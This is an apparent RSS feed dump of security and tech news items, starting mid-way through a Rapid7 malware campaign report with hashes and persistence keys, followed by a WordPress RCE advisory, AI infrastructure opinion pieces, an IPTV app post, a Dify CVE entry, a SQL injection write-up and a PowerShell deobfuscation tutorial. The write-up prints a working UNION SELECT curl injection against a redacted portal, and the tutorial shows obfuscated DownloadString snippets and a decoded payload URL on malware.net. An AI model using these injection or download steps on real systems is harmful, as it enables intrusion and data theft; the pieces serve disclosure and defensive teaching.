    SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

    discord-rpc.x64.dll

    SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

    profiler16.dll

    SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

    loader-pool.db

    SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

    .NET RAT

    SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

    Staging paths:

    C:\ProgramData\basenet\

    %APPDATA%\basenet\

    Persistence:

    HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

    \com_app_bg_i686

    \messenger_component_v8_32_rc

    More indicators of compromise can be found on Rapid7’s GitHub.

    Rapid7 customers

    Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

    Conclusion

    The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

    The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

    While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

    The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

    ]]>         <![CDATA[Patch now: WordPress REST API bug allows remote code execution]]> https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/ https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/ Mon, 20 Jul 2026 14:38:41 +0200 📰 IT Security Nachrichten tsecurity.de

    Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.

    The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default WordPress installation without requiring plugins, authentication, or special configuration.

    Adam Kues of Searchlight Cyber first reported the issue and published a public checker to assess risks, holding back technical details until a patch was available and admins had enough time to apply it.

    In a technical analysis published by Hadrian, researchers reconstructed the root cause from WordPress’ security patch released on July 17. The vulnerability, they said, resides in the core REST API batch endpoint “batch/v1,” where an indexing mismatch during request validation can cause request objects and their associated permission checks to become misaligned.

    As a result, a crafted batch request can be processed under the wrong authorization context, ultimately allowing remote code execution.

    “An attacker who reaches the bug gains unauthenticated code execution on the web server,” the researchers said. “In practice, that means full control of the site and its content, access to the database and whatever credentials or personal data it holds, and a way into the surrounding hosting environment.”

    The issue affects WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. According to Hadrian, versions 6.9.5 and 7.0.2 contain the fix, while 6.8.6 includes the same hardening changes even though earlier 6.8.x releases are not affected by this specific vulnerability.

    Because the vulnerable component is part of WordPress Core and the REST Batch API is enabled by default, any affected site exposing the REST API is potentially reachable by attackers. The researchers said this endpoint remains accessible through both “/wp-json/batch/v1” and the alternate /“?rest_route=/batch/v1” path, even on deployments without rewrite rules.

    Hadrian recommended upgrading immediately to WordPress 6.9.5 or 7.02, verifying that updates completed successfully, and, where patching cannot be performed immediately, blocking unauthorized access to both REST Batch API endpoints at the web server and through WAF.

    Organizations were also advised to inventory all WordPress deployments, including staging and forgotten campaign sites, and review whether unauthorized access to the REST API is necessary for their environment.

    ]]>         <![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]> https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/ https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/ Mon, 20 Jul 2026 12:03:46 +0200 📰 IT Nachrichten tsecurity.de

    Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.

    As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.

    The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.

    From AI-ready networks to autonomous networks

    The long-term destination is the autonomous network: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.

    In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.

    The core characteristics of the network of the future

    One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.

    Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.

    Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.

    Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.

    Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.

    Human expertise remains essential

    Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.

    As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.

    Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.

    5 actions enterprises should take now

    Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:

    1. Modernize network observability. Establish comprehensive visibility across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.
    2. Build an automation-first operating model. Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.
    3. Adopt zero-trust principles across the enterprise. Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, security architectures must evolve to leverage the same identity controls.
    4. Design for edge-to-cloud AI workloads. Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.
    5. Invest in skills and strategic partnerships. Develop internal expertise while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.

    The road ahead

    Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Dear Microsoft: Stop sticking your AI in my IDE]]> https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/ https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/ Mon, 20 Jul 2026 11:04:14 +0200 🔧 AI Nachrichten tsecurity.de

    Dear Microsoft,

    I don’t want to have a love-hate relationship with Visual Studio Code, but you’re making it really hard.

    Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.

    And that was great! I gravitated towards using VS Code for multiple jobs in various languages. I could set up a Python workflow with extensions to add database-wrangling functionality. I could put together an environment for digital book publishing. I could even set up a project for screenwriting! (Yes, I have a screenplay in progress. A man can dream.)

    Now, it’s not like all this went away yesterday. I can still do all of the above. But literally every new feature in VS Code these days is all about agents, AI, and LLMs. It makes me wonder if there’s anyone left in the building who is working on the actual editor anymore.

    In the release notes for VS Code 1.127, literally every single new feature save one was about agents and AI. Ditto the version before that. The version before that was a little better, but the trend has been clear for some time now: Visual Studio Code is fast becoming an agent front end first, and everything else is a distant second.

    One argument I’ve heard is that VS Code is now a mature project. Because there just isn’t much left to be done to improve the core, you have directed your attention towards other features that will attract new users. And because agent-and-AI mania is still burning through the enterprise (and everyone’s budgets), agent-and-AI features are the order of the day.

    But do these features really need to be IDE-level features? Instead of drastically retooling VS Code to support agents, and making AI features native elements of the IDE, shouldn’t the real mission be to support VS Code’s native extensibility? After all, VS Code was built to be extended, and thousands of AI add-ons — including GitHub Copilot and dozens of your own extensions — already take advantage of that.

    Is all this really about what AI features VS Code can support natively, or is it more about making VS Code a default first point of contact for agents and AI — specifically GitHub Copilot? Is this less about developer convenience, and more about guaranteeing — however obnoxiously — that agents and AI tools always have a central place in VS Code?

    Whatever the goal is, if you think every VS Code user wants an “agentic development environment” instead of an IDE, I think you’re dead wrong.

    No doubt AI tools are here to stay. But I do think they will experience a reckoning. Frontier models that do everything and six more things on top of that are becoming of real use only to the big vendors who stick API tollbooths in front of them and construct wetland-devouring data centers the size of the Vegas strip to power them. The future looks more like smaller, locally-hosted models that handle highly specialized tasks and require far fewer resources to train, deploy, and serve. (Even you seem to be moving in that direction, with the Aion on-device models.)

    The deeper we go into that reckoning, the less it makes sense to have cart-before-the-horse arrangements like VS Code’s native AI features. How long before these features get hoisted back out of VS Code and moved to an add-on (albeit one we get nagged to install every time we fire up our IDE)? Sooner rather than later, I’d bet.

    Still, until that fine day comes, I’m resigning myself to the idea that my current favorite editor will be stuffed with more and more AI features, whether or not they even make sense in my use case, for a long, wearying time to come.

    At least I can turn all that stuff off. For now.

    As I was writing this (in VS Code, no less), I got an update to VS Code 1.128. There’s one nice feature in there I could see myself using quite widely: the ability to register OS-level keyboard shortcuts. But the rest? All AI, all agents, all the time.

    ]]>         <![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]> https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/ https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/ Sun, 19 Jul 2026 22:32:19 +0200 📰 IT Nachrichten tsecurity.de The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.

    When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.

    But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.

    This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.

    The mirage of the retrieval layer

    In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.

    It is not.

    When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.

    If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.

    No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.

    Shifting from ad-hoc patching to programmatic guardrails

    To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.

    This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.

    1. Harden the ingestion pipeline

    Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.

    Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.

    2. Use multi-tiered algorithmic validation

    Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.

    This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.

    If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.

    3. Decouple security and compliancemfrom the model

    An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.

    Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.

    Technical alignment: A pragmatic blueprint

    For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.

    • Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?

    • Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?

    • Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?

    These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.

    Building for the production era

    The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.

    If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.

    The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.

    In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.

    Naveen Ayalla is a senior data engineer.

    ]]>         <![CDATA[Why RAG Solutions Fail with Complex Documents & Vector Databases]]> https://tsecurity.de/de/3679390/it-security-video/why-rag-solutions-fail-with-complex-documents-vector-databases/ https://tsecurity.de/de/3679390/it-security-video/why-rag-solutions-fail-with-complex-documents-vector-databases/ Sun, 19 Jul 2026 13:17:55 +0200 đŸŽ„ IT Security Video tsecurity.de Author: IBM Technology - Bewertung: 20x - Views:132

    Learn more about Retrieval Augmented Generation (RAG) here → https://ibm.biz/~xjkgmfItH

    Complex documents often lead AI systems to confusing answers. Shad Griffin explains how RAG solutions fail when documents contradict each other and evolve over time. Learn practical techniques to design RAG systems that respect data ambiguity and avoid false hallucinations.

    AI news moves fast. Sign up for a monthly newsletter for AI updates from IBM → https://ibm.biz/~hewg14hoM

    #retrievalaugmentedgeneration #vectordatabases #aisystems #aiaccuracy

    ]]>         <![CDATA[Fred TV Mobile 2.0: Ultra-Fast Open-Source IPTV app, now will full Android TV support and much more!]]> https://tsecurity.de/de/3678778/linux-tipps/fred-tv-mobile-20-ultra-fast-open-source-iptv-app-now-will-full-android-tv-support-and-much-more/ https://tsecurity.de/de/3678778/linux-tipps/fred-tv-mobile-20-ultra-fast-open-source-iptv-app-now-will-full-android-tv-support-and-much-more/ Sun, 19 Jul 2026 04:54:42 +0200 🐧 Linux Tipps tsecurity.de

    I've been working really hard those past 3 months to deliver what I can consider to be the best android IPTV app; fully open-source, intuitive, bloat-free and ultra-fast.

    Today, I release Fred TV 2.0 on the playstore!

    - Optimized to be the fastest IPTV app out there, with a fully re-written backend made in Rust.

    - Full Android TV support, D-Pad support on every view

    - New easy-to-use redesigned TV Home for Android TV

    - Robust playback, even on shoddy streams and on low-end devices

    - Full support for Xtream and M3U

    Try it out! You won't regret giving it a shot if you're already using other IPTV apps.

    If you had tried the app previously under 1.X.X, please try it again, 2.0 is a massive upgrade.

    https://play.google.com/store/apps/details?id=dev.fredol.open_tv

    https://github.com/fredolx/fred-tv-mobile

    --

    Now the reason I'm posting this r/linux is not just to promote the app for Android. I'm doing an experiment. As some of you may know already, I've released before Fred TV for Linux, it uses tauri and rust to deliver a great experience on Desktop. Since the tauri front-end is still a webview at the end of the day, it doesn't deliver the best wayland experience.

    So I'm inviting you to try Fred TV Next which should be a lot smoother. It's fully native, no webview. It's essentially the mobile app with a few tweaks. I'll be collecting feedback to see if this is going to be the future of Fred TV. You can grab the .flatpak in the releases and try it out today. The idea is to make one fully convergent IPTV app with shared favorites and sources between devices, and many other features.

    Some of you may use old PCs with linux as TV boxes rather than using chinese boxes. I'm all for the eco-friendly nature of re-using old PCs, so here's the thing; you can use Fred TV Next and toggle the 'Force TV Mode' setting. It will give you the same d-pad/tv remote friendly experience as on Android TV, but without the chinese spyware.

    EDIT: I'm a honest indie open-source dev making my apps solo, without any AI. I've been programming since 2019 professionally and in my own time. You can inspect my code, build it yourself. This app asks for 0 permissions and uses all the best security standards.

    I've been maintaining the original desktop app for years, I have 3000 stars on Github and I've received a lot of support from my supporters which I am very grateful for.

    I invite you to try out my app which I've originally made for my friends and family who were using borderline malware proprietary IPTV apps. I'm just putting out there for anyone who would prefer to use an open-source app which focuses on speed and a great search-based UX.

    You are free to try it or not. But please if you do not care about IPTV or my app, do not make hateful claims about me. Thank you

    submitted by /u/Fredol
    [link] [comments]]]>         <![CDATA[Many Companies Use AI. Few Know How to Build an AI-Native Enterprise Data Platform.]]> https://tsecurity.de/de/3678307/ai-nachrichten/many-companies-use-ai-few-know-how-to-build-an-ai-native-enterprise-data-platform/ https://tsecurity.de/de/3678307/ai-nachrichten/many-companies-use-ai-few-know-how-to-build-an-ai-native-enterprise-data-platform/ Sat, 18 Jul 2026 19:10:27 +0200 🔧 AI Nachrichten tsecurity.de A practical enterprise AI architecture with data agents, AI-powered QA, and AI governance.

    The post Many Companies Use AI. Few Know How to Build an AI-Native Enterprise Data Platform. appeared first on Towards Data Science.

    ]]>         <![CDATA[OpenAI fixes confusing ChatGPT Mac app with easier access to chats and Projects]]> https://tsecurity.de/de/3678060/ios-mac-os/openai-fixes-confusing-chatgpt-mac-app-with-easier-access-to-chats-and-projects/ https://tsecurity.de/de/3678060/ios-mac-os/openai-fixes-confusing-chatgpt-mac-app-with-easier-access-to-chats-and-projects/ Sat, 18 Jul 2026 15:26:32 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[CVE-2026-61461 | langgenius dify up to 1.16.0 MyScale Vector Store Backend search_by_full_text sql injection]]> https://tsecurity.de/de/3677950/sicherheitsluecken/cve-2026-61461-langgenius-dify-up-to-1160-myscale-vector-store-backend-searchbyfulltext-sql-injection/ https://tsecurity.de/de/3677950/sicherheitsluecken/cve-2026-61461-langgenius-dify-up-to-1160-myscale-vector-store-backend-searchbyfulltext-sql-injection/ Sat, 18 Jul 2026 14:09:25 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical was found in langgenius dify up to 1.16.0. Impacted is the function search_by_full_text of the component MyScale Vector Store Backend. The manipulation results in sql injection. This vulnerability is known as CVE-2026-61461. It is possible to launch the attack remotely. No exploit is available.]]> <![CDATA[From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise]]> https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/ https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/ Sat, 18 Jul 2026 11:39:13 +0200 đŸ•”ïž Hacking tsecurity.de Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.

    While auditing a financial management web portal (vsswb), I discovered a single unparameterized parameter that ultimately resulted in unauthenticated Remote Code Execution (RCE). This is the technical walkthrough of the exploit chain.

    1. The Entry Point

    The vulnerable endpoint was responsible for processing the pJobNumber parameter.

    vss00CvStatusData.php

    Appending a single quote (') immediately triggered a raw PostgreSQL error:

    pg_query(): Query failed: ERROR: unterminated quoted string at or near "## order by wcs.fdate ;"

    Observation

    User-controlled input was being directly concatenated into a SQL statement without parameterization.

    2. Fingerprinting the Database

    Using UNION SELECT with NULL placeholders to align the three-column query structure, I extracted the PostgreSQL version and execution context.

    curl -k -s "https://[TARGET_URL]/vsswb/vss00CvStatusData.php?pAction=LoadTypeCombo&pJobNumber=nonexistent'+UNION+SELECT+NULL,version(),current_user--&pSelection=1"

    Response:

    [
      {
        "wbid": null,
        "job": "PostgreSQL 13.1, compiled by Visual C++ build 1914, 64-bit",
        "wodetails": "postgres"
      }
    ]

    Finding

    The web application connected directly as the native PostgreSQL postgres account.

    This is the database superuser, effectively eliminating privilege boundaries.

    3. Mass Data Exposure

    With superuser privileges, PostgreSQL system catalogs became fully accessible.

    Enumeration quickly revealed employee records stored in:

    public.vss01tpemployee

    The table contained personally identifiable information (PII), including employee names, PAN numbers, and financial records.

    From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]> https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/ https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/ Sat, 18 Jul 2026 11:21:48 +0200 đŸ•”ïž Hacking tsecurity.de A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab

    Source: TechFusion

    For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?

    I recommend you first walk through this article and afterwards complete the TryHackMe lab Obfuscation: The Egg Shell File.

    The core purpose of this tactical playbook is to provide you with a highly comprehensive, real-world analytical framework so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).

    Let’s cut the fluff and begin:

    In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using TryHackMe’s foundational lab featuring real-world PowerShell obfuscation strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its runtime behavior safely.

    📋 The Script Triage Checklist

    Source: BitLyft

    When you capture a suspicious script execution string from your SIEM (Security Information and Event Management) logs, proceed with these steps immediately:

    • Isolate and Copy Safely: Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.
    • Identify the Execution Flags: Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.
    • Locate Network Anchors: Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.
    • Preserve Casing: Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.

    Deep Dive: Stripping the Camouflage

    https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812

    Let’s look at an actual example of an obfuscated script layer captured directly from an initial access vector payload log.

    What to look for in the image: Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this to bypass static string matching (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.

    Layer 1: Undoing String Concatenation

    GPT Images 2.0 generated photo

    Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.

    # Obfuscated string snippet
    $a = "Down"; $b = "load"; $c = "String"
    . ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )

    The Fix: You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:

    # Safe evaluation technique
    Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )
    # Output result: DownloadString

    Layer 2: Demangling Character Shuffling

    GPT Images 2.0 generated image

    Another popular mechanism involves using format strings to re-order components out of sequence at runtime:

    "{2}{0}{1}" -f 'Net.','WebClient','New-Object

    The -f operator acts as an indexing map. To decrypt it manually:

    • Position {2} grabs the 3rd element: New-Object
    • Position {0} grabs the 1st element: Net.
    • Position {1} grabs the 2nd element: WebClient

    When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.

    Layer 3: Defeating Base64 and XOR Rings

    GPT Images 2.0 generated figure

    The final boss of script obfuscation is almost always an encoded byte block. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).

    To quickly unwrap these blocks without running the malicious code:

    • Copy the raw payload block inside the command string.
    • Load the payload directly into CyberChef (the open-source utility for security operations).
    • Chain together the From Base64 recipe followed by Decode Text (UTF-16LE).
    Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA
    Output: http://malware.net/payload.exe

    By working backward through these layers, you quickly isolate the final Indicators of Compromise (IoCs) — such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.

    🧠 Strategic Takeaway

    (yayy)

    The Obfuscation: The Egg Shell File analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.

    Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an obfuscated script pipeline will always reveal its true payload target under systematic scrutiny.

    By utilizing platforms like CyberChef to strip back multi-layered Base64 and XOR encoding architectures and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.

    Go log into the TryHackMe room, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.

    📈 Master the Art of System Forensics & Threat Intelligence

    The author

    Generic security training completely collapses when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.

    To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:

    • Follow Pop123 on Medium for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.
    • Explore my Security and Machine Learning Projects on GitHub
    • Subscribe to direct email updates by clicking the envelope icon (✉) right next to the follow button so these critical tactical breakdowns land straight in your inbox.

    Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!

    For collaborations and inquiries: alexandrupp55@gmail.com

    Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

